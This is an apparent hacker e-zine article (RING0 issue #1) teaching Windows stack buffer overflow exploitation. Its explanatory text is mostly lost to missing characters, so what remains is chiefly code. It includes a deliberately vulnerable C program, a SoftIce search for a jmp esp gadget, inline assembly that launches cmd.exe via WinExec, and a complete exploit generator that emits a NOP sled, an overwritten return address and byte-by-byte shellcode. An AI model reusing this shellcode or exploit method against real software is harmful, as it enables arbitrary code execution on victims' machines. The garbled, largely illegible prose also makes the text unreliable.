
 /*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                         Stack Overflows in Action

                                                         by  buLLet/UINC

      1. Header

           ,             
  ,           
       LoadLibrary/GetProcAddress  
,               , 
  ,          
DLL.       -  Windows  DLL  
,       .

 ...  0778898b  jmp esp  kernel32.dll   .

                 
      .         
.      ?  :         
        (  ). 
    :    
:

      )     
      )  LoadLibrary/GetProcAddress
             .
      ...

      2. Sections
         

"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
      char buffer[100];  //  
      strcpy(buffer,big);//   
      return 0;
}
int main ()
{
        char big[512];
        gets(big); //   --    

        test(big); //   
    return 0;
}
             ,    .
  ,    ,          
?     !    ,            
owerflow.exe(    -  owerflow.exe   
owerflow.c  )          : ......... -
-   110  .    ?

       -  .   -    , 
        (       ),
      061(  'a').

            :     
    ,    
-? !      
    SoftIce,      :  
             ebp,  
 .

       ,       104,105,106,107
  (  ,   .. 
   ASCII    32  256), 
   ,  104-107   ,
      .     ,
    ,        100    103  
  EBP  -         ,  
 .

        SoftIce   esp   ,
   ,               ,
          ,    EIP. 
 :

                 (*)                 (**)                 (***)
      1 <-------------------> N -------------- N+4 ------------------- M
                                                ^
                                                |
                                               ESP

     (*)  -  ,    -      
,   NOP
     (**)  -   4    N   N+3  
EIP.       -   
,            ,  
,       .
     (***)  -     N+4   M  ,    
.

       SoftIce  ,     
   ESP   RET    test -> 
    SoftIce,     
                  D  esp
      esp,     
  N+4.

     !        ,      108-,
              esp.     
        Sice      
:

      :S 10000000 l ffffffff FF e4
      10000000-ffffffff- ,  FF e4-  jmp
esp
      :
     ;Pattern found at xxxxxxxx <-    (  
 77e98601,   ntdll.dll).

           jmp  esp-        
  104-107    ,       eip  
    jmp  esp    ntdll.dll,      
108-  .

               .   
    ,      (   
  Command Prompt).      C:

"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{
HMODULE hDll=LoadLibrary("kernel32.dll");
        PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
        (*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}
     WinExec   ,  2    
kernel32.dll.    ,  kernel32.dll  
    ,           , 
 .   pFunc   WinExec,  
    .          -,  
WinExec.  :

__asm {
        mov esp,ebp ; 
        push ebp
        mov ebp,esp
        mov esi,esp
        xor edi,edi;  
        push edi
        sub esp,18h//     
        //        4
        //   
        mov byte ptr [ebp-1ch],63h //'c'//   
        mov byte ptr [ebp-1bh],6Dh //'m'
        mov byte ptr [ebp-1ah],64h //'d'
        mov byte ptr [ebp-19h],2Eh //'.'
        mov byte ptr [ebp-18h],65h //'e'
        mov byte ptr [ebp-17h],78h //'x'
        mov byte ptr [ebp-16h],65h //'e'
        mov byte ptr [ebp-15h],20h //' '
        mov byte ptr [ebp-14h],2fh //'/'
        mov byte ptr [ebp-13h],4bh //'K'
        mov byte ptr [ebp-12h],20h //' '
        mov byte ptr [ebp-11h],73h //'s'
        mov byte ptr [ebp-10h],74h //'t'
        mov byte ptr [ebp-0fh],61h //'a'
        mov byte ptr [ebp-0eh],72h //'r'
        mov byte ptr [ebp-0dh],74h //'t'
        mov byte ptr [ebp-0ch],20h //' '
        mov byte ptr [ebp-0bh],63h //'c'
        mov byte ptr [ebp-0ah],6dh //'m'
        mov byte ptr [ebp-09h],64h //'d'
        mov byte ptr [ebp-08h],2Eh //'.'
        mov byte ptr [ebp-07h],65h //'e'
        mov byte ptr [ebp-06h],78h //'x'
        mov byte ptr [ebp-05h],65h //'e'
        //  eax  winexec   pFunc
        mov eax, 0x77e98601
        //    winexec
        push eax
        //  SW_SHOW
        push 05
        //  
        lea eax,[ebp-1ch]
        push eax
        //ExitProcess  eax
        mov eax,0x77e9b0bb
        push eax //  
        mov eax, 0x77e98601
        //     winexec
        jmp eax         }

          :

      @ExitProcess <<    WinExec (DWORD)  <------- ESP
      _______________________________________________________________
      @,       (DWORD)
      _______________________________________________________________
      0005         <<  WinExec SW_SHOW
      _______________________________________________________________
      @WinExec     <<  WinExec             (DWORD)
      _______________________________________________________________
      "cmd.exe /K cmd.exe" << ,    
                               WinExec       (DWORD * 6)
      _______________________________________________________________
      EDI    ( )   NULL
                                       (DWORD)  <------- EBP


             Visual  C++6.0    . 
     .    ?   
  Visual  C++  Debugger.        
   Code Bytes   Disassembly mode   
 .     :

"overflower.c"
#include <stdio.h>
int  main()
{
        int i;
        char buf[256];
//  NOP
    for (i=0;i<100;i++)
                buf[i]=0x90;
        //  ebp     ,
        //      ,  
        //  xor   .  
        // xor ebp,0xffffffff   
        buf[100]=0x3f;
        buf[101]=0x01;
        buf[102]=0xed;
        buf[103]=0xff;
        //   jmp esp
        //  ntdll.dll   77f8948B
        //  4    eip
        buf[104]=0x8b;
        buf[105]=0x94;//89;
        buf[106]=0xf8;//e8;
        buf[107]=0x77;

        buf[108]=0x90;
     //xor  ebp,0xffffffff  <-    
winexec
        buf[109]=0x83;
        buf[110]=0xf5;
        buf[111]=0xff;
        //****************
        //mov esp,ebp
        buf[112]=0x8b;
        buf[113]=0xe5;
        //******************
        //push ebp
        buf[114]=0x55;
        //mov ebp,esp
        buf[115]=0x8b;
        buf[116]=0xec;
        //xor edi,edi
        buf[117]=0x33;
        buf[118]=0xff;
        //push edi
        buf[119]=0x57;
        //sub esp,18h
        buf[120]=0x83;
        buf[121]=0xec;
        buf[122]=0x18;
        //**********************************
        //            *
        //mov byte ptr [ebp-19h],63h 'c'
        buf[123]=0xc6;
        buf[124]=0x45;
        buf[125]=0xe4;
        buf[126]=0x63;
        //mov byte ptr [ebp-18h],6dh 'm'
        buf[127]=0xc6;
        buf[128]=0x45;
        buf[129]=0xe5;
        buf[130]=0x6d;
        //mov byte ptr [ebp-17h],64h 'd'
        buf[131]=0xc6;
        buf[132]=0x45;
        buf[133]=0xe6;
        buf[134]=0x64;
        //mov byte ptr [ebp-16h],2eh '.'
        buf[135]=0xc6;
        buf[136]=0x45;
        buf[137]=0xe7;
        buf[138]=0x2e;
        //mov byte ptr [ebp-15h],65h 'e'
        buf[139]=0xc6;
        buf[140]=0x45;
        buf[141]=0xe8;
        buf[142]=0x65;
        //mov byte ptr [ebp-14h],78h 'x'
        buf[143]=0xc6;
        buf[144]=0x45;
        buf[145]=0xe9;
        buf[146]=0x78;
        //mov byte ptr [ebp-13h],65h 'e'
        buf[147]=0xc6;
        buf[148]=0x45;
        buf[149]=0xea;
        buf[150]=0x65;

        //mov byte ptr [ebp-12h],20h ' '
        buf[151]=0xc6;
        buf[152]=0x45;
        buf[153]=0xeb;
        buf[154]=0x20;

        //mov byte ptr [ebp-11h],2fh '/'
        buf[155]=0xc6;
        buf[156]=0x45;
        buf[157]=0xec;
        buf[158]=0x2f;
        //mov byte ptr [ebp-10h],4bh 'K'
        buf[159]=0xc6;
        buf[160]=0x45;
        buf[161]=0xed;
        buf[162]=0x4b;

        //mov byte ptr [ebp-0fh],20h ' '
        buf[163]=0xc6;
        buf[164]=0x45;
        buf[165]=0xee;
        buf[166]=0x20;

        //mov byte ptr [ebp-0eh],73h 's'
        buf[167]=0xc6;
        buf[168]=0x45;
        buf[169]=0xef;
        buf[170]=0x73;
        //mov byte ptr [ebp-0dh],74h 't'
        buf[171]=0xc6;
        buf[172]=0x45;
        buf[173]=0xf0;
        buf[174]=0x74;
        //mov byte ptr [ebp-0ch],61h 'a'
        buf[175]=0xc6;
        buf[176]=0x45;
        buf[177]=0xf1;
        buf[178]=0x61;
        //mov byte ptr [ebp-0bh],72h 'r'
        buf[179]=0xc6;
        buf[180]=0x45;
        buf[181]=0xf2;
        buf[182]=0x72;
        //mov byte ptr [ebp-0ah],74h 't'
        buf[183]=0xc6;
        buf[184]=0x45;
        buf[185]=0xf3;
        buf[186]=0x74;

        //mov byte ptr [ebp-9],20h ' '
        buf[187]=0xc6;
        buf[188]=0x45;
        buf[189]=0xf4;
        buf[190]=0x20;

        //mov byte ptr [ebp-8],63h 'c'
        buf[191]=0xc6;
        buf[192]=0x45;
        buf[193]=0xf5;
        buf[194]=0x63;
        //mov byte ptr [ebp-7],6dh 'm'
        buf[195]=0xc6;
        buf[196]=0x45;
        buf[197]=0xf6;
        buf[198]=0x6d;
        //mov byte ptr [ebp-6],64h 'd'
        buf[199]=0xc6;
        buf[200]=0x45;
        buf[201]=0xf7;
        buf[202]=0x64;
        //mov byte ptr [ebp-5],2eh '.'
        buf[203]=0xc6;
        buf[204]=0x45;
        buf[205]=0xf8;
        buf[206]=0x2e;
        //mov byte ptr [ebp-4],65h 'e'
        buf[207]=0xc6;
        buf[208]=0x45;
        buf[209]=0xf9;
        buf[210]=0x65;
        //mov byte ptr [ebp-3],78h 'x'
        buf[211]=0xc6;
        buf[212]=0x45;
        buf[213]=0xfa;
        buf[214]=0x78;
        //mov byte ptr [ebp-2],65h 'e'
        buf[215]=0xc6;
        buf[216]=0x45;
        buf[217]=0xfb;
        buf[218]=0x65;
        //*************************************
        //mov eax,77 e9 86 01h <-Winexec address
        buf[219]=0xb8;
        buf[220]=0x01;
        buf[221]=0x86;
        buf[222]=0xe9;
        buf[223]=0x77;
        //push eax
        buf[224]=0x50;

        //push 05 <-SW_SHOW_NORMAL
        buf[225]=0x6a;
        buf[226]=0x05;

        //lea eax,[ebp-1ch] <- 
        buf[227]=0x8d;
        buf[228]=0x45;
        buf[229]=0xe4;
        //push eax
        buf[230]=0x50;
        // call dword ptr [ebp-0ch]
        //       
        //     eax    .[ebp-0ch]
        //    winexec,  
        //  ExitProcess

        //mov eax,0x77e8f32d <-ExitProcess
        buf[231]=0xb8;
        buf[232]=0x2d;
        buf[233]=0xf3;
        buf[234]=0xe8;
        buf[235]=0x77;
        //push eax <-      eax
        buf[236]=0x50;
        //mov eax,0x77e8f32d <-WinExec address
        buf[237]=0xb8;
        buf[238]=0x01;
        buf[239]=0x86;
        buf[240]=0xe9;
        buf[241]=0x77;
        //jmp eax <- WinExec
        buf[242]=0xff;
        buf[243]=0xe0;
        //    
        for(i=0;i<256;i++)
        {
                printf("%c",buf[i]);
        }


}
            . :   ebp -  
      .  -  ,
  ?          ,  NOP?
    ,  SoftIce   ESP    
64h        09090909090 -   , 
   .

             EBP (    
    ,        100  103  ebp -   
               
).    ?        -     
  ,   - XOR.    ,
    ebp,       XOR EBP,0xFFFFFFFF  !
    .

                  ,
             ,  
.

     Happy END

            ,  
 : http://www.hackzone.ru/articles/ntbo.html

